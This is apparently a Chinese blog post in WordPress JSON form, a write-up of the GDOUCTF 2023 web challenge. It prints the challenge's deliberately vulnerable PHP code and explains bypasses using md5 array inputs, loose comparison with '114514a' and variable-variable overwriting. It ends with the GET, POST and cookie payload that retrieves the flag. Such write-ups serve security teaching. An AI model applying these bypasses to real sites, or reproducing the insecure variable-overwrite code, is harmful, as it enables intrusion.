{"id":2339,"date":"2025-04-08T19:47:15","date_gmt":"2025-04-08T11:47:15","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2339"},"modified":"2025-04-08T19:47:16","modified_gmt":"2025-04-08T11:47:16","slug":"gdouctf-2023%e5%8f%97%e4%b8%8d%e4%ba%86%e4%b8%80%e7%82%b9","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/08\/gdouctf-2023%e5%8f%97%e4%b8%8d%e4%ba%86%e4%b8%80%e7%82%b9\/","title":{"rendered":"GDOUCTF 2023\u53d7\u4e0d\u4e86\u4e00\u70b9"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250408110837.png\" alt=\"Pasted image 20250408110837.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250408110900.png\" alt=\"Pasted image 20250408110900.png\"><\/p>\n<h1>\u4e8c\u3001\u5206\u6790\u4ee3\u7801<\/h1>\n<pre><code class=\"language-php\">&lt;?php   error_reporting(0);   \nheader(&quot;Content-type:text\/html;charset=utf-8&quot;);   if(isset($_POST['gdou'])&amp;&amp;isset($_POST['ctf'])){\u00a0\u00a0\u00a0\n\t$b=$_POST['ctf'];\n\t$a=$_POST['gdou'];   \u00a0\u00a0\u00a0\u00a0\n\tif($_POST['gdou']!=$_POST['ctf']\u00a0&amp;&amp;\u00a0md5($a)===md5($b)){   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if(isset($_COOKIE['cookie'])){   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if\u00a0($_COOKIE['cookie']=='j0k3r'){   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if(isset($_GET['aaa'])\u00a0&amp;&amp;\u00a0isset($_GET['bbb'])){\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$aaa=$_GET['aaa'];\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$bbb=$_GET['bbb'];   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if($aaa==114514\u00a0&amp;&amp;\u00a0$bbb==114514\u00a0&amp;&amp;\u00a0$aaa!=$bbb){\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$give\u00a0=\u00a0'cancanwordflag';\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$get\u00a0='hacker!';   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if(isset($_GET['flag'])\u00a0&amp;&amp;\u00a0isset($_POST['flag'])){   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0die($give);   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if($_POST['flag']\u00a0===\u00a0'flag'\u00a0||\u00a0$_GET['flag']\u00a0===\u00a0'flag'){   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0die($get);   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0foreach\u00a0($_POST\u00a0as\u00a0$key\u00a0=&gt;\u00a0$value)\u00a0{   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$$key\u00a0=\u00a0$value;   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0foreach\u00a0($_GET\u00a0as\u00a0$key\u00a0=&gt;\u00a0$value)\u00a0{   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$$key\u00a0=\u00a0$$value;\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo\u00a0$flag; \n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}else{ \n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo\u00a0&quot;\u6d17\u6d17\u7761\u5427&quot;; \n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0\u00a0\u00a0\u00a0}  \n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0 \u00a0\u00a0\u00a0\u00a0}else{  \n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0 \u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo\u00a0&quot;\u884c\u4e0d\u884c\u554a\u7ec6\u72d7&quot;;\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0 \u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0 \u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   \u00a0\u00a0} \n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0 \u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0   \u00a0\u00a0  }\nelse\u00a0{   \u00a0\necho\u00a0'\u83dc\u83dc';   \n}   \n}else{\necho\u00a0&quot;\u5c31\u8fd9?&quot;;\n}   \n}else{ \necho\u00a0&quot;\u522b\u6765\u6cbe\u8fb9&quot;;\n}   \n?&gt;\n\/\/\u522b\u6765\u6cbe\u8fb9\n<\/code><\/pre>\n<p>\u7ed5\u8fc7\u7b2c\u4e00\u5c42\uff1a<\/p>\n<pre><code>if($_POST['gdou']!=$_POST['ctf']\u00a0&amp;&amp;\u00a0md5($a)===md5($b))\n<\/code><\/pre>\n<p>\u53ef\u4ee5\u77e5\u9053\uff0c\u4f7f\u7528\u6570\u7ec4\u8fdb\u884c\u7ed5\u8fc7<\/p>\n<p>\u7ed5\u8fc7\u7b2c\u4e8c\u5c42\uff1a<\/p>\n<pre><code>if(isset($_COOKIE['cookie'])){\n\tif\u00a0($_COOKIE['cookie']=='j0k3r')\n<\/code><\/pre>\n<p>\u9700\u8981\u5c06COOKIE\u503c\u6539\u4e3a<code>cookie=j0k3r<\/code><\/p>\n<p>\u7ed5\u8fc7\u7b2c\u4e09\u5c42\uff1a<\/p>\n<pre><code>if($aaa==114514\u00a0&amp;&amp;\u00a0$bbb==114514\u00a0&amp;&amp;\u00a0$aaa!=$bbb)\n<\/code><\/pre>\n<p>\u5f88\u660e\u663e\u662f\u5f31\u6bd4\u8f83\uff0c\u53ef\u4ee5\u4f7f\u7528114514a\u5728<code>==<\/code>\u4e0b\u88ab\u89e3\u6790\u6210114514\u7684\u7279\u6027\u8fdb\u884c\u7ed5\u8fc7<\/p>\n<p>\u7ed5\u8fc7\u7b2c\u56db\u5c42\uff1a<\/p>\n<pre><code class=\"language-php\">if(isset($_GET['flag'])\u00a0&amp;&amp;\u00a0isset($_POST['flag'])){   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0die($give);   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if($_POST['flag']\u00a0===\u00a0'flag'\u00a0||\u00a0$_GET['flag']\u00a0===\u00a0'flag'){   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0die($get);   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0foreach\u00a0($_POST\u00a0as\u00a0$key\u00a0=&gt;\u00a0$value)\u00a0{   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$$key\u00a0=\u00a0$value;   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0foreach\u00a0($_GET\u00a0as\u00a0$key\u00a0=&gt;\u00a0$value)\u00a0{   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$$key\u00a0=\u00a0$$value;\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}   \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo\u00a0$flag;\n<\/code><\/pre>\n<p>\u7531\u4e8e\u51fa\u73b0\u4e86foreach\u51fd\u6570\uff0c\u53ef\u4ee5\u77e5\u9053\u8003\u5bdf\u7684\u662f\u53d8\u91cf\u8986\u76d6<br \/>\n1.\u5148\u662f\u9700\u8981\u7ed5\u8fc7 <code>if(isset($_GET['flag']) &amp;&amp; isset($_POST['flag']))<\/code>\uff0c\u5373GET\u548cPOST\u4e0d\u80fd\u540c\u65f6\u4f20\u5165flag\uff0c\u56e0\u6b64\u53ea\u662f\u7528GET\u4f20\u53c2<\/p>\n<p>2.\u5176\u6b21\u662f\u7ed5\u8fc7 <code>if($_POST['flag'] ==\u2018flag\u2032 || $_GET['flag'] ===\u2018flag')<\/code>\u8fd9\u91cc\u9700\u8981\u8ba9\u53d8\u91cfflag\u4e0d\u7b49\u4e8eflag\uff0c\u6240\u4ee5flag=123<\/p>\n<p>3.\u4e24\u4e2aforeach()\u662f\u7528\u6765\u505a\u5faa\u73af\u7684\uff0c\u5373\uff1a\u5c06GET\u6216POST\u83b7\u5f97\u7684\u53c2\u6570\u5206\u522b\u7ed9\u5230<code>$key<\/code>\u548c<code>$value<\/code>\uff0c\u4f5c\u4e3a\u952e\u503c\u5bf9\uff0c\u518d\u8fdb\u884c\u5faa\u73af\u4f53\u5185\u7684\u64cd\u4f5c\u3002\u4f8b\u5982\u4f20\u5165\u7684 123=flag\uff0c\u90a3\u4e48\u5c31\u6709$key=123 &amp; $value=flag<\/p>\n<p>4.\u8fd9\u91cc\u4f7f\u7528\u7b2c\u4e8c\u4e2aforeach()\u5373\u5229\u7528GET\u4f20\u53c2\u3002\u539f\u56e0\u662f\uff0c\u5728\u7b2c\u4e8c\u4e2a\u5faa\u73af\u4f53\u5185\uff0c\u6709\uff1a<code>$$key = $$value<\/code>;<code>$$<\/code>\u76f8\u5f53\u4e8e\u4e00\u4e2a\u5957\u5a03\uff0c\u4f8b\u5982\uff1a<\/p>\n<pre><code>$a = 1;\n$$a = 2;\n\u90a3\u4e48$$a\u5c31\u76f8\u5f53\u4e8e$1\n<\/code><\/pre>\n<p>5.\u4e3a\u4e86\u4f7fflag=flag\uff0c\u8f93\u5165123=flag\uff0c\u53d8\u91cf123\u7684\u503c\u5c31\u662fflag\uff0c\u518d\u8f93\u5165flag=123\uff0cflag\u5c31\u7b49\u4e8eflag\uff0c\u4e8e\u662f\u5c31\u5b9e\u73b0\u4e86\u7ed5\u8fc7`flag===&#8217;flag&#8217;<\/p>\n<h1>\u4e09\u3001\u8f93\u5165payload<\/h1>\n<p>GET\uff1a<\/p>\n<pre><code>?aaa=114514&amp;bbb=114514a&amp;123=flag&amp;flag=123\n<\/code><\/pre>\n<p>POST\uff1a<\/p>\n<pre><code>gdou[]=1&amp;ctf[]=2\n<\/code><\/pre>\n<p>COOKIE\uff1a<\/p>\n<pre><code>cookie=j0k3r\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250408114153.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250408114153.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250408114153.png\"><\/div><br \/>\n\u6210\u529f\u83b7\u53d6flag<\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>\u6570\u7ec4\u7ed5\u8fc7<\/li>\n<li>\u5f31\u6bd4\u8f83<\/li>\n<li>\u53d8\u91cf\u8986\u76d6<\/li>\n<li>foreach\u51fd\u6570<\/li>\n<\/ul>\n<pre><code class=\"language-php\">foreach ($_GET as $key =&gt; $value) {\n$$key = $$value;\n}\n<\/code><\/pre>\n<p><code>foreach<\/code>\u00a0\u5faa\u73af\u904d\u5386\u00a0<code>$_GET<\/code>\u00a0\u6570\u7ec4\uff0c\u6bcf\u6b21\u5faa\u73af\u65f6\u628a\u5f53\u524d\u5143\u7d20\u7684\u952e\u8d4b\u7ed9\u00a0<code>$key<\/code>\u00a0\u53d8\u91cf\uff0c\u628a\u5bf9\u5e94\u7684\u503c\u8d4b\u7ed9\u00a0<code>$value<\/code>\u00a0\u53d8\u91cf<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u4e8c\u3001\u5206\u6790\u4ee3\u7801 &lt;?php error_reporting(0); header(&#038;quot [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[73,32,33],"class_list":["post-2339","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-73","tag-32","tag-33"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2339"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2339\/revisions"}],"predecessor-version":[{"id":2340,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2339\/revisions\/2340"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2339"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}